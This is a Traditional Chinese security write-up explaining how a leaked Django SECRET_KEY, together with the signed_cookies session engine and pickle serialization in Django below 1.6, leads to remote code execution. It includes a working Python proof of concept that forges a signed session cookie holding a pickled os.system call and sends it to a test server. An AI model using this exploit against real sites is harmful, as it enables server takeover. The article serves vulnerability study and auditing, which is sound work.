1 從Django的SECTET_KEY到程式碼執行
Django是一個可以用於快速搭建高效能,優雅的網站的平臺,由Python寫成。採用了MVC的軟體設計模式,即模型M,檢視V和控制器C。它最初是被開發來用於管理勞倫斯出版集團旗下的一些以新聞內容為主的網站的,即是CMS(內容管理系統)軟體。並於2005年7月在BSD許可證下發布。
最近在進行網站程式碼審查的過程中,發現某些產品由於session使用不當,導致可能被攻擊者利用,執行任意程式碼。這些產品在登入的JS程式碼中,洩露了SECRET_KEY,將該值作為密碼加密的鹽,這樣就暴露了加密salt不太好吧,更重要的是對django的安全造成了極大的威脅。
2 SECRET_KEY作用
SECTET_KEY在djanog中使用非常廣泛,基本上涉及到安全,加密等的地方都用到了,下面列舉一些常見情景: 1,json object的簽名 2,加密函式,如密碼重置,表單,評論,csrf的key,session資料
這裡面就要重點講到session的問題,在這裡使用不當就會導致程式碼執行
3 程式碼執行
3.1 settings的session設定
django預設儲存session到資料庫中,但是可能會比較慢,就會使用到快取,檔案,還有cookie等方式,如果採用了cookie機制則有可能程式碼執行,settings配置如下:
1 |
SSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies' |
3.2 django 1.6以下
在django1.6以下,session預設是採用pickle執行序列號操作,在1.6及以上版本預設採用json序列化。程式碼執行只存在於使用pickle序列話的操作中。
3.3 session處理流程
可以簡單的分為兩部分,process_request和process_response,前者負責選擇session引擎,初始化cookie資料。見程式碼
1 2 3 4 |
class SessionMiddleware(object): def process_request(self, request): engine = import_module(settings.SESSION_ENGINE) session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME, None) |
process_response則是處理返回給使用者的cookie資訊,比如修改過期時間等。在將session存入快取後,可能在某個操作中會用到session資訊,這個時候就會通過反序列化操作從快取中取,如果反序列話引擎是採用pickle機制的話就存在程式碼執行。反序列化的程式碼位於django.core.signing.py中,這個模組主要是一些簽名,加解密操作,同時也包含序列化和反序列化,預設採用JSON引擎,下面是反序列話loads的程式碼:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None): """ Reverse of dumps(), raises BadSignature if signature fails """ base64d = smart_str( TimestampSigner(key, salt=salt).unsign(s, max_age=max_age)) decompress = False if base64d[0] == '.': # It's compressed; uncompress it first base64d = base64d[1:] decompress = True data = b64_decode(base64d) if decompress: data = zlib.decompress(data) return serializer().loads(data) |
3.4 構造POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
import os os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings') from django.conf import settings from django.core import signing from django.contrib.sessions.backends import signed_cookies class Run(object): def __reduce__(self): return (os.system,('touch /tmp/xxlegend.log',)) sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies') print sess import urllib2 import cookielib url = 'http://10.24.35.228:8000/favicon.ico' headers = {'Cookie':'sessionid="%s"' %(sess)} request = urllib2.Request(url,headers = headers) response = urllib2.urlopen(request) print response.read() |
通過序列化Run類,實現建立一個檔案的操作,在反序列化的時候執行這個操作。執行程式碼完成可看到在/tmp目錄建立xxlegend.log檔案,同時web報500錯誤。
總結
利用條件總結起來就是這麼幾句話,首先洩露了SECRET_KEY,其次session引擎採用了signed_cookies,django版本小於1.6即存在程式碼執行問題。同樣的問題也存在於python的其他web框架中,如flask,bottle。